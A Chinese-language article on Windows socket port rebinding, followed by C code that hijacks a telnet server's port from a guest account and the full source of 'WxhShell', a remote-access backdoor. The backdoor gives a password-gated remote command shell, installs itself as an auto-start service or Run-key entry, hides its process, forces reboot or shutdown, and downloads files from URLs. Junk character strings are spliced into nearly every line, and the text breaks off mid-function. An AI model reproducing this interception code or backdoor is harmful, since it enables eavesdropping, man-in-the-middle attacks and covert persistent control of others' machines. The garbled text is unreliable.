在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,`v)nwP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K4YpE}]u #:_qo saddr.sin_family = AF_INET;
XMd-r8yYr r j#K5/df saddr.sin_addr.s_addr = htonl(INADDR_ANY);
vcy}ZqWBO NDEltG( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~Jrtm7 ]y>)es1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Q"n*`#Yt' + pZ, RW.D 这意味着什么?意味着可以进行如下的攻击:
~0,Utqy s9>f5u?dK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-@X?~4Idz eEePK~%c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<[ />M Z|K+{{C 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1P:r=Rt/ v*SSc5gFG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
AA"?2dF obKWnet 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9"O z-!Y4 0f}zm8p7. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`[p*qsp_ Kv^ez%I 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T&c0j( ]ppi962Z #include
(lq7 ct #include
_fx0-S*$ #include
zZ&L# #include
D1o<:jOj DWORD WINAPI ClientThread(LPVOID lpParam);
D7H,49#1Q int main()
1OJD!juL$ {
$_CE!_G&) WORD wVersionRequested;
=p,+a/* DWORD ret;
rVgz+'rFD[ WSADATA wsaData;
aT1T.3 a BOOL val;
9ot A5I^v SOCKADDR_IN saddr;
wegu1Ny SOCKADDR_IN scaddr;
~N2){0j4 int err;
j&6'sg;n) SOCKET s;
2`hc0
IE SOCKET sc;
.}n, int caddsize;
86NAa6BW HANDLE mt;
W iql c DWORD tid;
u;\:#721 wVersionRequested = MAKEWORD( 2, 2 );
mX3~rK>@~ err = WSAStartup( wVersionRequested, &wsaData );
vp@ %wxl!: if ( err != 0 ) {
4A^=4"BCV printf("error!WSAStartup failed!\n");
!Z[dK{f" return -1;
eIBHAdU+g/ }
.|[ZEXq saddr.sin_family = AF_INET;
EN/>f=%
@ c,KK~{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B f33%I~ [,[;'::=o4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}6ObQa43 saddr.sin_port = htons(23);
Rp$t;=SMD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MF:]J {
VN`T:!& printf("error!socket failed!\n");
X_GR{z%
return -1;
"9,z"k }
/cHd&i,> val = TRUE;
[lZo'o //SO_REUSEADDR选项就是可以实现端口重绑定的
d MQ]= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B7r={P!0 {
5[l9`Cn&A printf("error!setsockopt failed!\n");
5ws|4V return -1;
4+%;eY.A }
8}9|hT;
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d\Cx(Lb[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:U)>um34e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[5K&J-W $MD|YW5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.J:04t1 {
kXimJL_<g ret=GetLastError();
e+jp03m\W printf("error!bind failed!\n");
09z%y[z return -1;
M,xhQ{eBY }
!R*%F listen(s,2);
i(R&Q;{E^ while(1)
q] g'rO' {
vJ5` :4n" caddsize = sizeof(scaddr);
+p6cG\Gp //接受连接请求
\pI)tnu6'U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NX7(;02 if(sc!=INVALID_SOCKET)
w{uqy] {
\l!^6G|c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\`?#V xz if(mt==NULL)
^9*FYV {
EWuuNf printf("Thread Creat Failed!\n");
x xxM break;
0sq?;~U }
3Mw\}q }
^.bYLF CloseHandle(mt);
[0|g3K!A }
UB[tYZ closesocket(s);
JTbg8b WSACleanup();
hz#S b~g return 0;
lU]/nKyd }
3`sM/BoA DWORD WINAPI ClientThread(LPVOID lpParam)
F02S(WWo; {
wq&|V SOCKET ss = (SOCKET)lpParam;
[pMJ9
d$ SOCKET sc;
xbJ@ z{ unsigned char buf[4096];
Wy^43g38'p SOCKADDR_IN saddr;
w5*?P4P long num;
P<P4*cOV DWORD val;
)zw}+z3st DWORD ret;
B.w ihJVDg //如果是隐藏端口应用的话,可以在此处加一些判断
V_Z ~$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
MgJiJ0y saddr.sin_family = AF_INET;
Mda~@)7$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MQ;c'?!5[! saddr.sin_port = htons(23);
+C3IP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S%KY%hUt {
*p!K9$4 printf("error!socket failed!\n");
bz!9\D|h return -1;
=Gsn4>~%n }
vqh@)B+) val = 100;
r~q*E'n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K"'W4bO#7 {
&8!*u3 ret = GetLastError();
c%1<O!c return -1;
*&p `8: }
g1U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`P1jg$(eA {
2yqm$i9C ret = GetLastError();
NJJsg^' return -1;
>XzCHtEP }
oXw} K((| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
d"zbY\` {
=L_L/"*rel printf("error!socket connect failed!\n");
4^H(p closesocket(sc);
pT Yq#9 closesocket(ss);
x17cMfCH% return -1;
2w`k h= }
&W/C2cpmR while(1)
=XWew* {
B"N8NVn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f:5(M@iO. //如果是嗅探内容的话,可以再此处进行内容分析和记录
O[+![[N2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kIS&! V num = recv(ss,buf,4096,0);
S0. if(num>0)
:UjHP}s send(sc,buf,num,0);
PMr
{BS else if(num==0)
S-^y;#= break;
`_{'qqRhe num = recv(sc,buf,4096,0);
sW%U3,j if(num>0)
P;jl!o$ send(ss,buf,num,0);
E<]l]? else if(num==0)
?>47!):-* break;
9vc3&r }
arf`%9M closesocket(ss);
77/&M^0 closesocket(sc);
) *:<3g!
return 0 ;
<p<jXwl }
xR5jy|2JJ $-""=O|" rg
U$&O ==========================================================
/'U/rjb_h{ KA:>7- 下边附上一个代码,,WXhSHELL
>@^z?nb r1:S8RT;H5 ==========================================================
S!gV\gEbDj T
xRa&1 #include "stdafx.h"
]X4
A)4y b6=.6?H@4f #include <stdio.h>
k#k !AcC #include <string.h>
IQ$l!) #include <windows.h>
Nx4_Oc^hY #include <winsock2.h>
2%g)0[1 #include <winsvc.h>
}vBk,ED #include <urlmon.h>
.Ajs0 T2 eK\ O> #pragma comment (lib, "Ws2_32.lib")
\ ?['pB #pragma comment (lib, "urlmon.lib")
cWIX!tc8 kQlXcR #define MAX_USER 100 // 最大客户端连接数
GCul6,w #define BUF_SOCK 200 // sock buffer
Q7]:vs)% #define KEY_BUFF 255 // 输入 buffer
|YjuaXd7N N>;"r]Rl" #define REBOOT 0 // 重启
$x;wnXXXM #define SHUTDOWN 1 // 关机
,ZjbbBZ rlu{C4l #define DEF_PORT 5000 // 监听端口
W&`_cGoP k^I4z^O=-; #define REG_LEN 16 // 注册表键长度
GIQ/gM?Pv #define SVC_LEN 80 // NT服务名长度
ji{V# ]dk44,EL // 从dll定义API
j6Acd~y\2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\XwXs5"G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
G`E%uyjG$j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O6gI%Jdp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
N,|:=gD_ @;x|+@r // wxhshell配置信息
,c_[`q\ struct WSCFG {
5}gcJjz int ws_port; // 监听端口
Bt|S!tEy char ws_passstr[REG_LEN]; // 口令
z<_{m4I; int ws_autoins; // 安装标记, 1=yes 0=no
EOhUr=5~ char ws_regname[REG_LEN]; // 注册表键名
b8)>:F char ws_svcname[REG_LEN]; // 服务名
}S'+Ytea char ws_svcdisp[SVC_LEN]; // 服务显示名
s9)
@$3\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
WQ4:='( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4A0R07" int ws_downexe; // 下载执行标记, 1=yes 0=no
e#L/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7dI+aJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Sj{z 0[}"b(O{ };
Md'd=Y_0 5T}$+R0& // default Wxhshell configuration
hX\XNiCiK8 struct WSCFG wscfg={DEF_PORT,
dUeM+(s1 "xuhuanlingzhe",
Y1EN|!WZ 1,
AR'q2/cw "Wxhshell",
[La=z7* "Wxhshell",
+jzpB*@ "WxhShell Service",
\Oh9)X:I "Wrsky Windows CmdShell Service",
}K9Vr! "Please Input Your Password: ",
-?<wvUbR{ 1,
q{Hk27kt "
http://www.wrsky.com/wxhshell.exe",
uc~PKU?tO "Wxhshell.exe"
D8slSX`6j };
O-:#Q(H! yJ8WYQQMG // 消息定义模块
ftsr-3!Vm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
j y{T=Nb char *msg_ws_prompt="\n\r? for help\n\r#>";
x,
a[ p\1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
95^w" [}4Q char *msg_ws_ext="\n\rExit.";
h";G vjy char *msg_ws_end="\n\rQuit.";
Wfkm'BnV char *msg_ws_boot="\n\rReboot...";
2S}%r4$n} char *msg_ws_poff="\n\rShutdown...";
qQ%zSJ? char *msg_ws_down="\n\rSave to ";
ORlz1&hW HH+NNSRO char *msg_ws_err="\n\rErr!";
{'G@- +K char *msg_ws_ok="\n\rOK!";
h;f5@#F iyrUY char ExeFile[MAX_PATH];
K)$.0S9d int nUser = 0;
`ysPEwA| HANDLE handles[MAX_USER];
y!GjC]/ int OsIsNt;
\\
M2_mT 5gZ0a4 SERVICE_STATUS serviceStatus;
K,%H*1YKK SERVICE_STATUS_HANDLE hServiceStatusHandle;
b")&"o)G2W vp &jSfQ^ // 函数声明
|332G64K int Install(void);
]"q[hF*PM int Uninstall(void);
ULMG"."IH int DownloadFile(char *sURL, SOCKET wsh);
Sj(uc# int Boot(int flag);
2#C!40j&\ void HideProc(void);
QsI#Ae,O#; int GetOsVer(void);
zTrAk5E int Wxhshell(SOCKET wsl);
c3&F\3 void TalkWithClient(void *cs);
kx3H}od] int CmdShell(SOCKET sock);
qdm5dQ (c int StartFromService(void);
U*,8,C int StartWxhshell(LPSTR lpCmdLine);
u].=b$wHHM e V^@kI4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O[y.3>l[s VOID WINAPI NTServiceHandler( DWORD fdwControl );
IPa08/ LslQZ]3MY // 数据结构和表定义
`R0>;TdT SERVICE_TABLE_ENTRY DispatchTable[] =
L 7_Mg{ {
$4'I3{$ {wscfg.ws_svcname, NTServiceMain},
5.F.mUO {NULL, NULL}
@no]*?Gpa };
%m!o#y(hD` h1G]w/.ws // 自我安装
Y}'C'PR int Install(void)
i;*c|ma1> {
zC!]bWsD char svExeFile[MAX_PATH];
l@4hBq HKEY key;
|M`B strcpy(svExeFile,ExeFile);
rAIX(2@cR_ 8^&)A b // 如果是win9x系统,修改注册表设为自启动
lF5;Kc if(!OsIsNt) {
REB8_ H" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?(>7v[=iT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-r]s #$ RegCloseKey(key);
-'3vQXj& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I(P|`" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D; H</5#Q RegCloseKey(key);
^i&/k return 0;
^2|gQ'7< }
uCF+Mp }
7<x0LW }
AUcq\Ys else {
|OF<=GGO+ ;#78`x2 // 如果是NT以上系统,安装为系统服务
< Upn~tH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
t#MU2b if (schSCManager!=0)
kf_s.Dedw {
7'7bIaJk SC_HANDLE schService = CreateService
3l->$R] (
03J,NXs schSCManager,
pK1P-!c wscfg.ws_svcname,
{z|0Y&>[= wscfg.ws_svcdisp,
2W|4 SERVICE_ALL_ACCESS,
71 hv~Nk/x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$@Zb]gavt? SERVICE_AUTO_START,
s2_j@k?% SERVICE_ERROR_NORMAL,
=r3Yt9 svExeFile,
!;pmql NULL,
MA.1t NULL,
4otB1{ NULL,
a3 6n}R4Q NULL,
k^z)Vu|f. NULL
6.~HbN );
!sEI|47{ if (schService!=0)
pnca+d {
)"|'= CloseServiceHandle(schService);
muT+H(Z p} CloseServiceHandle(schSCManager);
jr~ +}|@{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
UY*Hc strcat(svExeFile,wscfg.ws_svcname);
2$yKa5SaX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Hlp!6\gukp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i' %V}2 RegCloseKey(key);
>*,Zc return 0;
{a `kPfP }
:m_0WT }
6S])IA&VJ CloseServiceHandle(schSCManager);
5ap}(bO }
Y~dRvt0_w }
3%{XJV |Q`}a % return 1;
LT!.M m }
-5>K
pgXo\ K_ Y0;!W // 自我卸载
H&[ CSc int Uninstall(void)
'|':W6m, {
YTL [z:k} HKEY key;
D@^ r
{Mp>+e@xx if(!OsIsNt) {
tNjb{(eO\h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lEQ63)Z RegDeleteValue(key,wscfg.ws_regname);
]n${j/x RegCloseKey(key);
Ec8Y}C,{7< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cInzwdh7 RegDeleteValue(key,wscfg.ws_regname);
Bqv Oi~l RegCloseKey(key);
gmLGK1 return 0;
FgE6j; }
$.R$I&U }
r&A#h;EQX2 }
3lMmSKN else {
? =_l=dR 3*CF !Y% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=\J^_g4-l if (schSCManager!=0)
=:P9 $ {
qeQTW@6
F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<4^ _dJ9= if (schService!=0)
Cj"k
Fq4 {
F:n(yXA if(DeleteService(schService)!=0) {
&?9p\oY[ CloseServiceHandle(schService);
*ls}r5k2Y CloseServiceHandle(schSCManager);
SgAY/# return 0;
92]>" }
(+4gq6b CloseServiceHandle(schService);
zc'!a" }
)+RGXVp CloseServiceHandle(schSCManager);
4fr/
C5M }
Q
{3"& }
@'?<92A _T6WA&;8 return 1;
[`=|^2n? }
?:s `}b L=Dd` // 从指定url下载文件
5Jp@n . int DownloadFile(char *sURL, SOCKET wsh)
{ogGi/8 {
VHM ,W]
HRESULT hr;
x/~V
ZO char seps[]= "/";
B*zb0hdo: char *token;
{}D8Y_=9\ char *file;
nrUrMnlg char myURL[MAX_PATH];
|D$U{5}Mv char myFILE[MAX_PATH];
Sl:Qq! N1\u~%AT" strcpy(myURL,sURL);
\x(J vDt token=strtok(myURL,seps);
d5T0#ue/e while(token!=NULL)
)U>q>< {
+VdYT6{p file=token;
) Y\} ,O token=strtok(NULL,seps);
# h/- }
Rr^<Q:#"<| r}WV"/]p GetCurrentDirectory(MAX_PATH,myFILE);
8niQG'] strcat(myFILE, "\\");
;pU9ov4) strcat(myFILE, file);
x(hUQu 6 send(wsh,myFILE,strlen(myFILE),0);
Wgq*| teW send(wsh,"...",3,0);
"}\z7^.W> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-[~{c]/ c if(hr==S_OK)
pA!+;Y!ZB< return 0;
|5F]y"Nb else
[]1VD# return 1;
rD%(*|Y"c CP7Zin1S/w }
AXH4jQw *;m5^i<,;S // 系统电源模块
xHJ+! int Boot(int flag)
/6gqpzum4 {
)KaQ\WJ: HANDLE hToken;
JR$Dp&]I TOKEN_PRIVILEGES tkp;
)qn
= NrgN{6u; if(OsIsNt) {
}qmZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?)",}XL6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R{8nR00|1 tkp.PrivilegeCount = 1;
Vd)iv\a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e&8pTD3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}dAb}0XK. if(flag==REBOOT) {
ah"2^x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UQPd@IVu6 return 0;
aPcO9 }
$$A{|4,aI else {
y`mE sj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
*.Y!ZaK return 0;
|B)e!# }
nDiD7:e7= }
'#4ya=Ww else {
$Z+N* w~8 if(flag==REBOOT) {
t<|=- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
hAfR Hd return 0;
)}~k7bb}Y }
V*5:Vt7N else {
RT)0I; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
lh7{2WQ return 0;
T_[W=9 }
>`5iq.v }
n2Dnpe: O(~`fN?n return 1;
Q'*-gg&) }
}}cVPB7 BtBy.bR // win9x进程隐藏模块
f|Z3VS0x void HideProc(void)
iWCN2om {
H3QAIsGS \
CV(c] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
fT[6Cw5w` if ( hKernel != NULL )
gO*cX& {
qnrf%rS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+z>*m`}F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5}*aP FreeLibrary(hKernel);
xPQO}wKa }
0Ny0#;P
;?=nr 5;q return;
KT{<iz_ }
RNRMw;cT E0ud<'3< // 获取操作系统版本
6xk"bIp int GetOsVer(void)
9{70l539 {
/-^gK^ OSVERSIONINFO winfo;
WE|L{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fS1N(RZ1 GetVersionEx(&winfo);
y"cK@sOo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`Wn0v2@a(~ return 1;
PLFM[t/ else
j:)
(` return 0;
V,|l&- }
m ~fqZK xb8fV*RO8A // 客户端句柄模块
p|(910OEQ int Wxhshell(SOCKET wsl)
E2X
K hW {
w][
; SOCKET wsh;
_?1< struct sockaddr_in client;
eU@yw1N DWORD myID;
U6jlv3 -CtA\<7I while(nUser<MAX_USER)
BB--UM{7 {
%lv2 ;- int nSize=sizeof(client);
6}C4 SZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|A'8 'z&q if(wsh==INVALID_SOCKET) return 1;
R!*UU'se bt%k;Z] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f@\
k_ if(handles[nUser]==0)
cX7xG U closesocket(wsh);
|WXu;uf$.u else
@ewQx| nUser++;
Y8m|f }
&oTSff>p} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(G#)[0<fX y"e'Gg2 return 0;
1'c!9 }
{(D$Xb X]C-y,r[M // 关闭 socket
kul&m| void CloseIt(SOCKET wsh)
~;UK/OZ {
)uwpeq$j7l closesocket(wsh);
w gATfygr nUser--;
^CZn<$ ExitThread(0);
;?= ] ffa{ }
\ts:' Va(R*38k // 客户端请求句柄
B*Hp void TalkWithClient(void *cs)
k/?+jb {
ghbxRnU} N(t1?R/e, SOCKET wsh=(SOCKET)cs;
swi| char pwd[SVC_LEN];
&p8K0 | char cmd[KEY_BUFF];
LNXhzW char chr[1];
MCL?J,1?r int i,j;
Y_Ej-u+>{ ^q
FFF3<8 while (nUser < MAX_USER) {
[m3G%PO@Da ^:{l~~9iKp if(wscfg.ws_passstr) {
jBI VZ!X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w^G<]S{l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}`f%"Z //ZeroMemory(pwd,KEY_BUFF);
)w;XicT i=0;
qZKU=HM while(i<SVC_LEN) {
!rTh+F* aWOApXJ // 设置超时
JaG<.ki fd_set FdRead;
(cNT ud$ struct timeval TimeOut;
Wf0ui1@ FD_ZERO(&FdRead);
`@?l{ FD_SET(wsh,&FdRead);
+;:i,`Lmg TimeOut.tv_sec=8;
(d4zNYK TimeOut.tv_usec=0;
^tc@bsUF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{r[*}Bv
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
WZ6!VE{ g B+cU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8*>6+"w pwd
=chr[0]; RUX!(Xw
if(chr[0]==0xd || chr[0]==0xa) { h!yF
pwd=0; 7"
Dw4}T
break; e3)rF5pp
} C*kZ>mbc
i++; W`6nMFg
} VIAj]Ul
.Pxb9mW
// 如果是非法用户,关闭 socket
EvTdwX.H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e/#4)@]
} 1i bQ'bZ
WQiEQ>6(t(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .LnXKRd{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *% Vd2jW/
&Vnet7LfU
while(1) { @iC!Q>D
J>!p^|S{
ZeroMemory(cmd,KEY_BUFF); )bi*y`UM]
\Qu~iB(Y
// 自动支持客户端 telnet标准 N<"_5
j=0; c)iQ3_&=
while(j<KEY_BUFF) { >hB]T%'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YCw^u
cmd[j]=chr[0]; MZv&$KG4m@
if(chr[0]==0xa || chr[0]==0xd) { 2$qeNy
cmd[j]=0; pOIFO=k
break; _f^q!tP&d
} 6S"bW)O
j++; =*"Amd,
} uW Q`
wqA5GK>m2
// 下载文件 )ckx&e
if(strstr(cmd,"http://")) { &[R&@l Y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (5_o H
if(DownloadFile(cmd,wsh)) W%0-SR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '~liDz*O
else \
{"8(ELX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kJJQcjAP:
} .7~Kfm@2
else { U:_T9!fG
9dqD(S#C;"
switch(cmd[0]) { 2=F_<Jh|+
I?bL4u$\
// 帮助 %b@>riR(y
case '?': { PJO;[:
.I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0S/&^
break; \ E[0KvN;O
} .N/4+[2p(
// 安装 /~gM,*
case 'i': { <pK;D
if(Install()) gJvc<]W8!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2kCJqyWy
else iLv"ZqGrw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^4 es
break; 5>h2WL
} //H+S
q66
// 卸载 -lb}}z+/
case 'r': { X903;&Cim
if(Uninstall()) _I5p
7X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '
nf"u
else .(1=iL_3e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <C${1FO7If
break; ?G!^|^S*
} nez5z:7F
// 显示 wxhshell 所在路径 g.F{yX]
case 'p': { bgYM
char svExeFile[MAX_PATH]; $Cc4Sggq
strcpy(svExeFile,"\n\r"); ;h/Y9uYn
strcat(svExeFile,ExeFile); _IT,>#ba
send(wsh,svExeFile,strlen(svExeFile),0); 8b6:n1<fn
break; F^`sIrZvs
} ',juZ[]_{
// 重启 g&_0)(a\
case 'b': { -bo0!@MK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d=lZhqY
if(Boot(REBOOT)) [}P|OCW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EMs$~CL4
else { ^9cqT2:t
closesocket(wsh); {Z-5
ExitThread(0); 4fP>;9[F
} r10)1`[
break; |mMW"(~
} rp(`V@x3
// 关机 .JQR5R |Q
case 'd': { <@;e N&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jUBlIVl]
if(Boot(SHUTDOWN)) J
)@x:,o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~POe0!}
else { #H7(d T
closesocket(wsh); l9P~,Ec4''
ExitThread(0); Eq'{uV:
} gK#aC[
break; dQ;rO$co
} M}38uxP
// 获取shell ^@{'! N
case 's': { DrMcE31
CmdShell(wsh); w
:^b3@gd
closesocket(wsh); [DjdR_9*I
ExitThread(0); }o)GBWqHR
break; (qohb0
} #n~/~*:i92
// 退出 "#[Y[t\Ia
case 'x': { x`C;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k`\DC\0RG
CloseIt(wsh); CgEeO,N]j
break; 7p u*/W~
} FUq@
dUv
// 离开 BT`/OD@
case 'q': { <
> f12pu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @X1>Wv|[
closesocket(wsh); OaU$ [Z'8
WSACleanup(); Z(Q?epyT
exit(1); p?Yovckm
break; o^DiIoor
} yDy3;*lE
} 27,WP-qie
} 0 w@~ynW[
-*?a*q/#nQ
// 提示信息 ,$}v_-:[l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $lV0TCgba8
} \>,{)j q;
} 7F+w o
= @ph
return; m0=CD
} E\RQm}Z09
fa<83<.D
// shell模块句柄 nX?fj<oR|
int CmdShell(SOCKET sock) I?F^c6M=
{ 3~Ipcr
B
STARTUPINFO si; %li'j|
ZeroMemory(&si,sizeof(si)); <([o4%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7/aJ?:gX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q;B-np?U
PROCESS_INFORMATION ProcessInfo; '1.T-.4>&
char cmdline[]="cmd"; {u9VHAXCf
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V3I&0P k
return 0; 2psLX
} ,F:l?dfB\I
oVmGZhkA@'
// 自身启动模式 ,Sz*]X
int StartFromService(void) /H!I90
{ M-|4cd]6
typedef struct oSy[/Y44a
{ 9^Wj<
DWORD ExitStatus; 5F
<zW-;
DWORD PebBaseAddress; ;t*45
DWORD AffinityMask; xj%h-@o6
DWORD BasePriority; b.ow0WYe
